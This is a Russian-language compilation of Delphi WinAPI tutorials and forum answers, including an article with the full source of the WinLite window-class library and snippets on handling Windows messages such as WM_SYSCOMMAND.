WinAPI - это те функции которыми управляется работа приложений в Windows. Они являются частью системы, и подгружаются вместе с виндос в библиотеке kernel32.dll.
В Делфи эти функции приемущественно описанны в библиотеке Windows, которая автоматически включается в ваш новый проект. Вы можете открыть эту библиотеку и посмотреть сами. Большая часть VCL - это надстройка над WinAPI.
Для каждого запущенного приложения создается процесс и в этом процессе основной поток (приложение может создавать свои дополнитльные потоки - все они будут принадлежать его процессу), а уж потоки создают окна. Каждый поток имеет уникальный числовой индификатор называемый ThreadID. Это просто целое число которое дается (ассоциируется) этому потоку. Точно так же имеет свой уникальный индификатор каждое окно в системе, называемый Handle. Он обозначается обычно типом HWND, но это просто целое. 4-х байтное.
В виндосе взаимодействие построено на сообщениях. Сообщени - это небольшой набор данных (record, условно говоря), который содержит:
Handle - Handle окна, которому сообщение предназначается.
Message - целое число, которое указывает, что же это за сообщение. Для системных сообщений определены константы типа WM_KEYPRESSED, WM_MOUSEMOVE и т. д. Их значение(числовое) совершенно никого не интересует однако его легко узнать: ShowMessage('WM_MOUSEMOVE: '+IntToStr(WM_MOUSEMOVE));
wParam - целое, значение зависит от сообщения
lParaw - целое, значение зависит от сообщения.
Для каждого потока отводиться специальное место в памяти, куда складываются сообщение по мере из поступления - называется это очередью сообщений. Сами окна сообщения не получают - все они складываются в очередь потока. Чтобы достать следующее сообщение, используется функция GetMessage(PeekMessage). Если вы хотите доставить сообщение окну, то проще всего это сделать вызвав DispatchMessage передав в качестве параметра полученное сообшение. Эта функция находит нужное окно в вашем потоке, и вызывает WindowsProc - процедура окна, которое должна обработать это сообщение. Адрес этой процедуры (для каждого окна свой) известен системе - он передается ей во время регистрации окна.
Пракически каждое приложение осуществляет цикл обработки сообщений. То есть цикл, который вызывает GetMessage и обрабатывает сообщение (рассылает окнам), пока не попадется сообщение WM_QUIT, после чего приложение должно завершить работу. В Delphi этот цикл представлен в методе Application.Run

Автор: Fantasist

Взято с Vingrad.ru http://forum.vingrad.ru


Как с помощью API поместить Label на Form?

var
hLabel : HWND ;
...
hLabel := CreateWindow ( 'STATIC', 'test', WS_CHILD or WS_VISIBLE, 0, 0, 200, 40, hWnd, NULL, hInstance, NULL );

Автор ответа: Baa

Примечание: Vit

Скорее всего последний параметр не "NULL", а "Nil" (NULL в паскале - варианта для обозначения пустого поля в базе данных)
Взято с Vingrad.ru http://forum.vingrad.ru

program Project1;

uses
Windows,
Messages;

const
myClassName= 'myWindow';

var
handleWnd, Label1 : THandle;
WndClass: TWndClass;
Msg: TMsg;

function WindowProc(Window: HWnd; AMessage, WParam,
LParam: Longint): Longint; stdcall;
begin
WindowProc:= DefWindowProc(Window, AMessage, WParam, LParam);
case AMessage of
{WM_COMMAND: if lParam = Button1 then
MessageBox( 0, 'Вы нажали кнопку!', 'Информация',
MB_OK or MB_ICONINFORMATION); }
WM_DESTROY: Halt;
end;
end;

begin
with WndClass do
begin
hInstance := hInstance;
lpszClassName:= myClassName;
style := cs_hRedraw or cs_vRedraw;
hbrBackground:= color_btnface +1;
lpfnWndProc := @WindowProc;
hCursor := LoadCursor(0, idc_Arrow);
hIcon := LoadIcon(0, IDI_EXCLAMATION);
lpszMenuName := NIL;
cbWndExtra := 0;
cbClsExtra := 0;
end;
RegisterClass( WndClass );
handleWnd:= CreateWindow(myClassName, 'Hажми кнопку', ws_OverlappedWindow,
400, 300, 200, 100, 0, 0, hInstance , NIL);
if handleWnd = 0 then
begin
MessageBox( 0, 'Error', NIL, MB_OK );
Exit;
end;
Label1:= CreateWindow( 'Label', 'Text',
WS_VISIBLE or WS_CHILD or WM_SETTEXT,
20, 10, 60, 23, handleWnd, 0, hInstance, nil);
ShowWindow(handleWnd, SW_SHOW);
UpdateWindow(handleWnd);
while GetMessage(Msg, handleWnd, 0, 0) do
begin
TranslateMessage(Msg) ;
DispatchMessage(Msg) ;
end;
end.

Автор ответа: alex-co
Взято с Vingrad.ru http://forum.vingrad.ru


Минимальное оконное приложение без VCL

program WinMin;

uses Windows, Messages;

const AppName = 'WinMin';

Var
Window : HWnd;
Message : TMsg;
WindowClass : TWndClass;

function WindowProc (Window : HWnd; Message, WParam : Word; LParam : LongInt) : LongInt; stdcall;
begin
WindowProc := 0;
case Message of
wm_Destroy :begin
PostQuitMessage (0);
Exit;
end;
end; // case
WindowProc := DefWindowProc (Window, Message, WParam, LParam);
end;

begin
with WindowClass do
begin
Style := cs_HRedraw or cs_VRedraw;
lpfnWndProc := @WindowProc;
cbClsExtra := 0;
cbWndExtra := 0;
hInstance := 0;
hIcon := LoadIcon (0, idi_Application);
hCursor := LoadCursor (0, idc_Arrow);
hbrBackground := GetStockObject (White_Brush);
lpszMenuName := '';
lpszClassName := AppName;
end;
If RegisterClass (WindowClass) = 0 then Halt (255);
Window := CreateWindow(AppName,
'Win_Min',
ws_OverlappedWindow,
cw_UseDefault,
cw_UseDefault,
cw_UseDefault,
cw_UseDefault,
0,
0,
HInstance,
nil);
ShowWindow (Window, CmdShow);
UpdateWindow (Window);
while GetMessage (Message, 0, 0, 0) do
begin
TranslateMessage (Message);
DispatchMessage (Message);
end;
Halt
end.

М. Краснов. "OpenGL и графика в проектах Delphi".

Пример прислан Spawn
Взято с Vingrad.ru http://forum.vingrad.ru


Программирование на основе Win32 API в Delphi (статья)

Николай Мазуркин, 1999-2000

Взято из http://forum.sources.ru

1. Введение
2. Существующие решения
3. Принципы построения API-библиотеки
4. Библиотека WinLite


Введение

Любую современную программу или программную технологию можно представить как совокупность программных "слоев". Каждый из этих слоев производит свою собственную работу, которая заключается в повышении уровня абстракции производимых операций. Так, самый низший слой (слои) вводит понятия, которые позволяют абстрагироваться от используемого оборудования; следующий слой (слои) позволяет программисту абстрагироваться от сложной последовательности вызовов функций, вводя такое понятие как протокол и т.д. Практически в любом современном программном продукте можно обнаружить и выделить около десятка последовательных слоев абстракции.

Абстракция от оборудования и низкоуровневых протоколов вводится в ядра операционных систем в виде библиотек API (Application Program Interface). Однако современные тенденции приводят к необходимости абстрагирования и от самих операционных систем, что позволяет переносить программы с одной операционной системы на другую путем простой перекомпиляции (транслируемые программы, в основном, вообще не требуют никаких действий по переносу).

Абстракцию, которая доступна программисту в виде библиотек API можно назвать базовой. Это самый низкий уровень абстракции, который доступен для прикладного программирования. На уровне ядра системы доступны и более низкие уровни абстракции, однако для их использования необходимо разрабатывать специализированные программы (драйвера, модули). Базовый уровень абстракции (API) предоставляет максимально широкие возможности для прикладного программирования и является наиболее гибким. Однако, программирование с использованием API является гораздо более трудоемким и приводит к значительно большим объемам исходного кода программы, чем программирование с использованием дополнительных библиотек.

Дополнительные библиотеки поставляются со многими средствами разработки с целью уменьшения трудоемкости и сроков разработки программ, что в итоге приводит к повышению их конкурентноспособности. Но применение дополнительных библиотек абстракций приводит к резкому увеличению размеров откомпилированных программ, из-за того что в программу включается код используемых библиотек, к тому же это включение зачастую бывает неэффективным - в программу включаются неиспользуемые участки кода. Кроме того, чем больше уровень абстракции библиотеки, тем сложнее ее код, и тем больше трудностей возникает при решении сложных задач. Приходится учитывать множество взаимосвязей и взаимных влияний отдельных элементов и процессов библиотеки друг на друга. Кроме того, структура и функциональность любой библиотеки обычно рассчитывается на удовлетворение всех потенциально возникающих задач, что приводит к ее громоздкости и неэффективности.

В Delphi используется очень мощная и сложная библиотека VCL (Visual Components Library), которая помимо непосредственных абстракций вводит также и множество своих функциональных классов. В этой библиотеке находятся компоненты для визуального отображения информации, работы с базами данных, с системными объектами, компоненты для работы с Internet-протоколами, классы для написания своих COM-объектов и многое другое. Модули библиотеки подключаются к компиляции по мере необходимости, однако базовый размер простейшего диалогового проекта с одной формой превышает 300кБ (со статически скомпонованной библиотекой). И такой размер во многих случаях может оказаться слишком большим, особенно если программа не требует большой функциональности в интерфейсе.

Для решения этой проблемы можно отказаться от использования библиотеки VCL, и программировать, используя базовый набор функций Win32 API. Однако, если при разработке линейных, недиалоговых, нерезидентных программ не возникает никаких трудностей, то разработка программ, требующих активного взаимодействия с пользователем или системой, становится трудоемкой. Структурное программирование, рекомендуемое в таких случаях, оказывается неэффективным и трудоемким.

Данная статья посвящена проблеме создания и использования компактной объектно-ориентированной библиотеки, которая бы облегчила построение небольших и эффективных программ на основе Win32 API.


Существующие решения

Автору известны две объектно-ориентированные библиотеки, которые можно рассматривать как альтернативу библиотеке VCL при написании компактных программ. Это библиотеки классов XCL и ACL. Обе библиотеки бесплатны и поставляются в исходных кодах.

Библиотека ACL (API control library)
Автор: Александр Боковиков, Екатеринбург, Россия
Страничка: http://a-press.parad.ru/pc/bokovikov/delphi/acl/acl.zip
E-Mail: abb@adx.ru
Классы: TFont, TFonts, TControl, TWinControl, TStdControl, TLabel, TEdit, TListBox, TButton, TCheckBox, TComboBox, TGroupBox, TProgressBar, TKeyboard

Библиотека XCL (Extreme class library)
Автор: Vladimir Kladov (Mr.Bonanzas)
Страничка: http://xcl.cjb.net
E-Mail: bonanzas@xcl.cjb.net
Классы: XForm, XApplet, XCanvas, XPen, XBrush, XFont, ZDDB, ZHiBmp, ZDIBitmap, ZBitmap, ZIcon, ZGifDecoder, ZGif, ZJpeg, XLabel, XButton, XBevel, XPanel, XSplitPanel, XStatus, XGrep, XGroup, XCheckBox, XRadioBox, XPaint, XScroller, XScrollBox, XScrollBoxEx, XEdit, XNumEdit, XCombo, XGrid, XListView, XMultiList, XNotebook, XTabs, XTabbedNotebook, XCalendar, XGauge, XGaugePercents, XHysto, XHystoEx, XImageList, XImgButton, XTooltip, XCustomForm, XDsgnForm, XDsgnNonvisual, CLabel, CPaint, CButton, CEdit, CMemo, CCheckBox, CRadioBox, CListBox, CComboBox, ZList, ZMenu, ZPopup, ZMainMenu, ZPopupMenu, ZTimer, ZStrings, ZStringList, ZIniFile, ZThread, ZQueue, ZFileChange, ZDirChange, ZOpenSaveDialog, ZOpenDirDialog, ZTree, ZDirList, ZDirListEx, ZRegistry, ZStream, ZFileStream, ZMemoryStream, XStrUtils.pas, XDateUtils.pas, XFileUtils.pas, XWindowUtils, XPrintUtils, XShellLinks.pas, XJustOne.pas, XJustOneNotify.pas, XPascalUnit.pas, XSysIcons.pas, XCanvasObjectsManager, XRotateFonts, XFocusPainter, XFormsStdMouseEvents, XFormsStdKeyEvents, XFormAutoSizer, XAligner, XControlAutoPlacer, XMfcAntiFlicker, XSplitSizer, XResizeAntiFlicker, XCaretShower, XEditMouseSelect, XEditClipboard, XEditUndo, XListMouseSel, XListKeySel, XListEdit, ZNamedTags, XBtnRepeats, XBufLabels, XBackgrounds, XWndDynHandlers
Как видно из списка приведенных для каждой библиотеки классов, эти библиотеки предендуют скорее не на помощь при написании программ с использованием Win32 API, а пытаются создать более высокий уровень абстракции чем API, по крайней мере в графической части (особенно это относится к XCL). Более того, иерархия и перечень объектов совпадают с соответствующими структурами в библиотеке VCL, что скорее всего связано с желанием авторов обеспечить логическую совместимость с VCL при построении программ на основе этих библиотек.
Данные библиотеки не обеспечивают минимального размера программы, за счет того что предоставляют более высокий уровень абстракции. Они являются компромисом между программированием с использованием VCL и программированием на чистом API.
Можно выделить несколько недостатков присущих даже не столько указанным библиотекам, а сколько решениям и принципам на которых они основаны.
· Несмотря на сравнительно малый размер получаемых программ, размер программ написанных с использованием только Win32 API был бы меньше.
· Помимо изучения Win32 необходимо изучение структуры классов, предлагаемых в этих библиотеках.
· Библиотека XCL не поддерживает механизм message-процедур.
· Архитектура этих библиотек, по мнению автора, является весьма громоздкой. Структуры и классы данных библиотек аналогичны структурам VCL, что приводит к неэффективности программ (ведь мы стараемся написать компактную программу, не так ли ?).
· Использование библиотеки ACL невозможно совместно с библиотекой VCL.
· Запутанность и большой размер классов наряду с "самодокументированным" кодом (то есть отсутствием файлов помощи) затрудняют изучение библиотек.
· Библиотеки разрабатываются и поставляются в частном порядке на некоммерческой основе, поэтому при разработке большого проекта на основе этих библиотек существует потенциальный риск отказа от поддержки. При этом вся тяжесть по устранению ошибок и развитию кода библиотеки ляжет на вас (если вы не вращаетесь в Delphi-сообществе).


Принципы построения API-библиотеки

Стандартным видом API-программирования является структурное программирование. Примеры такого программирования на Win32 API есть практически в любой книжке по Borland Pascal, Borland C++, Microsoft Visual C++ и другим системам разработки. Множество примеров API-программирования на С содержится в поставке Microsoft Visual C++.
Структурное программирование с оконными функциями, процедурами обработки команд, не в состоянии обеспечить быструю и эффективную разработку программ. В современной ситуации большинство программистов привыкло к объектно-ориентированному методу, с возможностью инкапсуляции, наследования и переопределения методов объектов. Такое программирование оказывается наиболее эффективным.
Кроме того, для построения эффективной API-библиотеки прежде всего нужно выяснить, какие задачи при работе с Win32 API являются наиболее трудоемкими. Практика показывает, что наиболее неудобным и трудоемким элементом является реализация основного диспетчера логики программы - оконной функции. Реализация этой функции в качестве метода класса, а не простой глобальной функции, позволила бы улучшить структуру кода и облегчить программирование путем инкапсулирования всех переменных внутри оконного класса.
Программирование может быть еще более облегчено, есть возпользоваться механизмом message-процедур языка Object Pascal. Вызов этих процедур полностью лежит на компиляторе и корневом объекте TObject и включает в себя методы Dispatch, DefaultHandler, а также все методы, объявленные с директивой message. Такое решениее позволит полностью отказаться от громоздкого оператора case в оконной функции.
Учитывая все вышеперечисленное автором была создана компактная библиотека оконных классов WinLite. Эта библиотека является минимальной, она не вводит более высоких уровней абстракции чем существуют в Win32 API - она только облегчает работу, переводом программирования в объектно-ориентированное русло. Размер библиотеки очень небольшой и вся она помещается в один модуль. Библиотека реализует базовый класс TLiteFrame и построенные на основе него оконные классы:
· TLiteWindow - класс окна, с возможностью subclass'инга;
· TLiteDialog - класс немодального диалога;
· TLiteDialogBox - класс модального диалога.
Библиотека может быть использована совместно с VCL. На первый взгляд, это возможность является абсурдной и ненужной, так как об экономии размера в этом случае не может быть и речи. Однако, иногда бывают моменты, когда реализация специфических оконных элементов на основе объектов TWinControl или TCustomControl может быть затруднена или неэффективна из-за их сложности и неочевидного поведения. В этом случае, можно реализовать такой элемент на базе класса TLiteWindow - он будет вести себя стандартным образом, как и полагается вести себя стандартному оконному элементу Win32.
Благодаря своей простой архитектуре библиотека может быть использована в многопоточной программе. Конечно, вы не сможете вызывать методы классов одного потока из другого потока без соответствующей синхронизации. Однако, вы можете беспрепятственно создавать оконные классы в различных потоках без блокировки и синхронизации, а также посылать сообщения оконным классам в другом потоке.
Практический совет: при API-программировании программист должен сам следить за корректным освобождением многочисленных ресурсов, которые занимает программа во время выполнения. Поэтому, для облегчения этой задачи используйте какую-либо контролирующую утилиту, например MemProof или Numega BoundsChecker. Корректное освобождение занятых ресурсов крайне необходимо !
К тому же, прежде чем вы решите работать над своим проектом в русле Win32 API, подумайте, а зачем вам это нужно? В подавляющем числе случаев размер программы не имеет никакого значения. Я не хочу сказать, что API-программирование сложнее чем VCL-программирование. Во многих случаях легче изучить и написать 10 вызовов API с кучей аргументов и понимать, что происходит, чем написать 1 вызов простой, на первый взгляд, VCL-инструкции и потом долго исследовать дебри VCL в поисках ответа. Просто API-программирование - это другая культура, к которой вы, возможно, не привыкли. И первоначальная работа может вызвать у вас сильное разочарование. API-программирование требует дотошности, кропотливости и внимательного изучения документации.
Те же, кто отважился программировать на API, наряду с библиотекой WinLite могут совместно использовать невизуальные классы как из состава VCL (модули SysUtils, Classes), так и многие сторонние - естественно, что размер вашей программы при этом увеличится.
· Невизуальные классы библиотеки ACL - http://a-press.parad.ru/pc/bokovikov/delphi/acl/acl.zip
· Невизуальные классы библиотеки XCL - http://xcl.cjb.net
· JEDI Code Library - http://www.delphi-jedi.com
· Системные компоненты на Torry - www.torry.ru
Для редактирования шаблонов диалогов можно использовать любой редактор ресурсов, например Borland Resource WorkShop, правда он несколько неудобен, а окончательный


Библиотека WinLight

//         WinLite, библиотека классов и функций для работы с Win32 API
//                       (c) Николай Мазуркин, 1999-2000
// _____________________________________________________________________________
//                                Оконные классы
////////////////////////////////////////////////////////////////////////////////

unit WinLite;

interface

uses Windows, Messages;

Инициализационные структуры
Объявление структур, которые используются для формирования параметров вновь создаваемых окон и диалогов соответственно.

////////////////////////////////////////////////////////////////////////////////
// Параметры для создания окна
////////////////////////////////////////////////////////////////////////////////
type
  TWindowParams = record
    Caption     : PChar;
    Style       : DWord;
    ExStyle     : DWord;
    X           : Integer;
    Y           : Integer;
    Width       : Integer;
    Height      : Integer;
    WndParent   : THandle;
    WndMenu     : THandle;
    Param       : Pointer;
    WindowClass : TWndClass;
  end;

////////////////////////////////////////////////////////////////////////////////
// Параметры для создания диалога
////////////////////////////////////////////////////////////////////////////////
type
  TDialogParams = record
    Template    : PChar;
    WndParent   : THandle;
  end;

Декларация базового класса TLiteFrame
Базовый класс для окон и диалогов. Инкапсулирует в себе дескриптор окна и объявляет общую оконную процедуру. Реализует механизм message-процедур.

////////////////////////////////////////////////////////////////////////////////
// TLiteFrame
// _____________________________________________________________________________
// Базовый класс для объектов TLiteWindow, TLiteDialog, TLiteDialogBox
////////////////////////////////////////////////////////////////////////////////
type
  TLiteFrame = class(TObject)
  private
    FWndCallback: Pointer;
    FWndHandle  : THandle;
    FWndParent  : THandle;
    function    WindowCallback(hWnd: HWnd; Msg, WParam, LParam:Longint):Longint; stdcall;
  protected
    procedure   WindowProcedure(var Msg: TMessage); virtual;
  public
    property    WndHandle: THandle read FWndHandle;
    property    WndCallback: Pointer read FWndCallback;
  public
    constructor Create(AWndParent: THandle); virtual;
    destructor  Destroy; override;
  end;

Декларация оконного класса TLiteWindow
Создание уникального класса окна и создание окна. Возможность субклассинга стороннего окна.

////////////////////////////////////////////////////////////////////////////////
// TLiteWindow
// _____________________________________________________________________________
// Оконный класс
////////////////////////////////////////////////////////////////////////////////
type
  TLiteWindow = class(TLiteFrame)
  private
    FWndParams  : TWindowParams;
    FWndSubclass: Pointer;
  protected
    procedure   CreateWindowParams(var WindowParams: TWindowParams); virtual;
  public
    procedure   DefaultHandler(var Msg); override;
    constructor Create(AWndParent: THandle); override;
    constructor CreateSubclassed(AWnd: THandle); virtual;
    destructor  Destroy; override;
  end;

Декларация диалогового класса TLiteDialog
Загрузка шаблона диалога и создание диалога.

////////////////////////////////////////////////////////////////////////////////
// TLiteDialog
// _____________________________________________________________________________
// Диалоговый класс
////////////////////////////////////////////////////////////////////////////////
type
  TLiteDialog = class(TLiteFrame)
  private
    FDlgParams  : TDialogParams;
  protected
    procedure   CreateDialogParams(var DialogParams: TDialogParams); virtual;
  public
    procedure   DefaultHandler(var Msg); override;
    constructor Create(AWndParent: THandle); override;
    destructor  Destroy; override;
  end;

Декларация модального диалогового класса TLiteDialogBox
Загрузка шаблона диалога и создание диалога. Модальный показ диалога.

////////////////////////////////////////////////////////////////////////////////
// TLiteDialogBox
// _____________________________________________________________________________
// Модальный диалоговый класс
////////////////////////////////////////////////////////////////////////////////
type
  TLiteDialogBox = class(TLiteFrame)
  private
    FDlgParams  : TDialogParams;
  protected
    procedure   CreateDialogParams(var DialogParams: TDialogParams); virtual;
  public
    procedure   DefaultHandler(var Msg); override;
  public
    function    ShowModal: Integer;
  end;

Реализация базового класса TLiteFrame
implementation

////////////////////////////////////////////////////////////////////////////////
// TLiteFrame
// _____________________________________________________________________________
// Инициализация / финализация
////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////
// Конструктор
////////////////////////////////////////////////////////////////////////////////
constructor TLiteFrame.Create(AWndParent: THandle);
begin
  inherited Create;
  // Запоминаем дескриптор родительского окна
  FWndParent := AWndParent;
  // Создаем место под блок обратного вызова
  FWndCallback := VirtualAlloc(nil,12,MEM_RESERVE or MEM_COMMIT,PAGE_EXECUTE_READWRITE);
  // Формируем блок обратного вызова
  asm
    mov  EAX, Self
    mov  ECX, [EAX].TLiteFrame.FWndCallback
    mov  word  ptr [ECX+0], $6858               // pop  EAX
    mov  dword ptr [ECX+2], EAX                 // push _Self_
    mov  word  ptr [ECX+6], $E950               // push EAX
    mov  EAX, OFFSET(TLiteFrame.WindowCallback)
    sub  EAX, ECX
    sub  EAX, 12
    mov  dword ptr [ECX+8], EAX                 // jmp  TLiteFrame.WindowCallback
  end;
end;

////////////////////////////////////////////////////////////////////////////////
// Деструктор
////////////////////////////////////////////////////////////////////////////////
destructor TLiteFrame.Destroy;
begin
  // Уничтожаем структуру блока обратного вызова
  VirtualFree(FWndCallback, 0, MEM_RELEASE);
  // Уничтожение по умолчанию
  inherited;
end;

////////////////////////////////////////////////////////////////////////////////
// TLiteFrame
// _____________________________________________________________________________
// Функции обработки сообщений
////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////
// Функция обратного вызова для получения оконных сообщений
////////////////////////////////////////////////////////////////////////////////
function TLiteFrame.WindowCallback(hWnd: HWnd; Msg, WParam, LParam: Integer): Longint;
var
  WindowMsg : TMessage;
begin
  // Запоминаем дескриптор окна, если это первый вызов оконной процедуры
  if FWndHandle = 0 then FWndHandle := hWnd;
  // Формируем сообщение
  WindowMsg.Msg    := Msg;
  WindowMsg.WParam := WParam;
  WindowMsg.LParam := LParam;
  // Обрабатываем его
  WindowProcedure(WindowMsg);
  // Возвращаем результат обратно системе
  Result := WindowMsg.Result;
end;

////////////////////////////////////////////////////////////////////////////////
// Виртуальная функция для обработки оконных сообщений
////////////////////////////////////////////////////////////////////////////////
procedure TLiteFrame.WindowProcedure(var Msg: TMessage);
begin
  // Распределяем сообщения по обработчикам
  Dispatch(Msg);
end;

Реализация оконного класса TLiteWindow
////////////////////////////////////////////////////////////////////////////////
// TLiteWindow
// _____________________________________________________________________________
// Инициализация / финализация
////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////
// Конструктор
////////////////////////////////////////////////////////////////////////////////
constructor TLiteWindow.Create(AWndParent: THandle);
begin
  inherited;
  // Формируем параметры окна
  CreateWindowParams(FWndParams);
  // Регистрируем класс окна
  RegisterClass(FWndParams.WindowClass);
  // Создаем окно
  with FWndParams do
    CreateWindowEx(ExStyle, WindowClass.lpszClassName, Caption,
      Style, X, Y, Width, Height,
      WndParent, WndMenu, hInstance, Param
    );
end;

////////////////////////////////////////////////////////////////////////////////
// Конструктор элемента с субклассингом
////////////////////////////////////////////////////////////////////////////////
constructor TLiteWindow.CreateSubclassed(AWnd: THandle);
begin
  inherited Create(GetParent(AWnd));
  // Сохраняем оконную функцию
  FWndSubclass := Pointer(GetWindowLong(AWnd, GWL_WNDPROC));
  // Сохраняем дескриптор окна
  FWndHandle   := AWnd;
  // Устанавливаем свою оконную функцию
  SetWindowLong(FWndHandle, GWL_WNDPROC, DWord(WndCallback));
end;

////////////////////////////////////////////////////////////////////////////////
// Деструктор
////////////////////////////////////////////////////////////////////////////////
destructor TLiteWindow.Destroy;
begin
  // Наш объект - объект субклассиннга ?
  if FWndSubclass = nil then
  begin
    // Уничтожаем класс окна
    UnregisterClass(FWndParams.WindowClass.lpszClassName, hInstance);
    // Уничтожаем окно
    if IsWindow(FWndHandle) then DestroyWindow(FWndHandle);
  end
  else
    // Восстанавливаем старую оконную функцию
    SetWindowLong(FWndHandle, GWL_WNDPROC, DWord(FWndSubclass));
  // Уничтожение по умолчанию
  inherited;
end;

////////////////////////////////////////////////////////////////////////////////
// Формирование параметров окна по умолчанию
////////////////////////////////////////////////////////////////////////////////
procedure TLiteWindow.CreateWindowParams(var WindowParams: TWindowParams);
var
  WndClassName : string;
begin
  // Формируем имя класса
  Str(DWord(Self), WndClassName);
  WndClassName := ClassName+':'+WndClassName;
  // Заполняем информацию о классе окна
  with FWndParams.WindowClass do
  begin
    style         := CS_DBLCLKS;
    lpfnWndProc   := WndCallback;
    cbClsExtra    := 0;
    cbWndExtra    := 0;
    lpszClassName := PChar(WndClassName);
    hInstance     := hInstance;
    hIcon         := LoadIcon(0, IDI_APPLICATION);
    hCursor       := LoadCursor(0, IDC_ARROW);
    hbrBackground := COLOR_BTNFACE + 1;
    lpszMenuName  := '';
  end;
  // Заполняем информацию об окне
  with FWndParams do
  begin
    WndParent := FWndParent;
    Caption := 'Lite Window';
    Style   := WS_OVERLAPPEDWINDOW or WS_VISIBLE;
    ExStyle := 0;
    X       := Integer(CW_USEDEFAULT);
    Y       := Integer(CW_USEDEFAULT);
    Width   := Integer(CW_USEDEFAULT);
    Height  := Integer(CW_USEDEFAULT);
    WndMenu := 0;
    Param   := nil;
  end;
end;

////////////////////////////////////////////////////////////////////////////////
// TLiteWindow
// _____________________________________________________________________________
// Функции обработки сообщений
////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////
// Обработчик сообщений по умолчанию
////////////////////////////////////////////////////////////////////////////////
procedure TLiteWindow.DefaultHandler(var Msg);
begin
  // Наш объект - объект субклассиннга ?
  if FWndSubclass = nil then
    // Вызываем системную функцию обработки сообщений
    with TMessage(Msg) do
      Result := DefWindowProc(FWndHandle, Msg, WParam, LParam)
  else
    // Вызываем старую оконную функцию обработки сообщений
    with TMessage(Msg) do
      Result := CallWindowProc(FWndSubclass, FWndHandle, Msg, WParam, LParam);
end;

Реализация диалогового класса TLiteDialog
////////////////////////////////////////////////////////////////////////////////
// TLiteDialog
// _____________________________________________________________________________
// Инициализация / финализация
////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////
// Конструктор
////////////////////////////////////////////////////////////////////////////////
constructor TLiteDialog.Create(AWndParent: THandle);
begin
  inherited;
  // Формируем параметры диалога
  CreateDialogParams(FDlgParams);
  // Создаем диалог
  with FDlgParams do
    CreateDialogParam(hInstance, Template, WndParent, WndCallback, 0);
end;

////////////////////////////////////////////////////////////////////////////////
// Деструктор
////////////////////////////////////////////////////////////////////////////////
destructor TLiteDialog.Destroy;
begin
  // Уничтожаем диалог
  if IsWindow(FWndHandle) then DestroyWindow(FWndHandle);
  // Уничтожение по умолчанию
  inherited;
end;

////////////////////////////////////////////////////////////////////////////////
// Формирование параметров диалога по умолчанию
////////////////////////////////////////////////////////////////////////////////
procedure TLiteDialog.CreateDialogParams(var DialogParams: TDialogParams);
begin
  DialogParams.WndParent := FWndParent;
  DialogParams.Template  := '';
end;

////////////////////////////////////////////////////////////////////////////////
// Обработка сообщений по умолчанию
////////////////////////////////////////////////////////////////////////////////
procedure TLiteDialog.DefaultHandler(var Msg);
begin
  // Возвращаемые значения по умолчанию
  with TMessage(Msg) do
    if Msg = WM_INITDIALOG then Result := 1
                           else Result := 0;
end;

Реализация модального диалогового класса TLiteDialogBox
////////////////////////////////////////////////////////////////////////////////
// TLiteDialogBox
// _____________________________________________________________________________
// Инициализация / финализация
////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////
// Формирование параметров диалога по умолчанию
////////////////////////////////////////////////////////////////////////////////
procedure TLiteDialogBox.CreateDialogParams(var DialogParams: TDialogParams);
begin
  DialogParams.WndParent := FWndParent;
  DialogParams.Template  := '';
end;

////////////////////////////////////////////////////////////////////////////////
// Активизация модального диалога
////////////////////////////////////////////////////////////////////////////////
function TLiteDialogBox.ShowModal: Integer;
begin
  // Формируем параметры диалога
  CreateDialogParams(FDlgParams);
  // Показываем диалог
  with FDlgParams do
    Result := DialogBoxParam(hInstance, Template, WndParent, WndCallback, 0);
end;

////////////////////////////////////////////////////////////////////////////////
// Обработка сообщений по умолчанию
////////////////////////////////////////////////////////////////////////////////
procedure TLiteDialogBox.DefaultHandler(var Msg);
begin
  // Возвращаемые значения по умолчанию
  with TMessage(Msg) do
    if Msg = WM_INITDIALOG then Result := 1
                           else Result := 0;
end;

end.


Перехват нажатия на системные кнопки формы (закрытие , минимизация окна и т.д.)

Перехват нажатия на системные кнопки формы (закрытие , минимизация окна и т.д.)

Сообщение WM_SYSCOMMAND приходит перед выполнением соответствующей команды,
что дает возможность переопределить код.
Описание :
WM_SYSCOMMAND
uCmdType = wParam; // type of system command requested
xPos = LOWORD(lParam); // horizontal postion, in screen coordinates
yPos = HIWORD(lParam); // vertical postion, in screen coordinates

Например, перехват события минимизации окна приложения:

   Type TMain = class(TForm)
     ....
    protected
      Procedure WMGetSysCommand(var Message : TMessage); message WM_SYSCOMMAND;
    end;
   .....
   //----------------------------------------------------------------
   //   Обработка сообщения WM_SYSCOMMAND (перехват минимизации окна)
   //----------------------------------------------------------------
   Procedure TMain.WMGetSysCommand(var Message : TMessage) ;
   Begin
        IF (Message..wParam = SC_MINIMIZE)
        Then Main.Visible:=False
        Else Inherited;
   End;

Взято с сайта http://blackman.wp-club.net/


Как заставить приложение Delphi отвечать на сообщения Windows?

Используем WM_WININICHANGED в качестве примера :

Объявление метода в TForm позволит вам обрабатывать сообщение WM_WININICHANGED:

procedure WMWinIniChange(var Message: TMessage); message WM_WININICHANGE;

Код в implementation может выглядеть так:

procedure TForm1.WMWinIniChange(var Message: TMessage);
   begin
     inherited;
   { ... ваша реакция на событие ... }
   end;

Вызов inherited метода очень важен. Обратите внимание также на то, что для функций, объявленных с директивой message (обработчиков событий Windows) после inherited нет имени наследуемой процедуры, потому что она может быть неизвестна или вообще отсутствовать (в этом случае вы в действительности вызываете процедуру DefaultHandler).
Copyright © 1996 Epsylon Technologies
Взято из FAQ Epsylon Technologies (095)-913-5608; (095)-913-2934; (095)-535-5349


Использование функций перечисления WinAPI

Для получения информации о множественных объектах Windows (окнах, принтерах, шрифтах, настройках экрана и так далее - всего несколько десятков вариантов) используются функции, начинающиеся с Enum. Эти функции работают по принципу, аналогичному итератору TCollection.FirstThat, то есть они вызывают функцию, переданную им в качестве параметра для каждого перечисляемого объекта, передавая ей в параметрах данные объекта и, в последнем параметре, указатель на пользовательские данные, переданный функции EnumXXX. Перечисление продолжается до тех пор, пока не будут перечислены все объекты. Немедленно прекратить перечисление можно, возвратив False. Ниже приведен пример заполнения списка ListBox1 данными по всем окнам Windows в виде " класс - заголовок" по нажатию кнопки Button1.

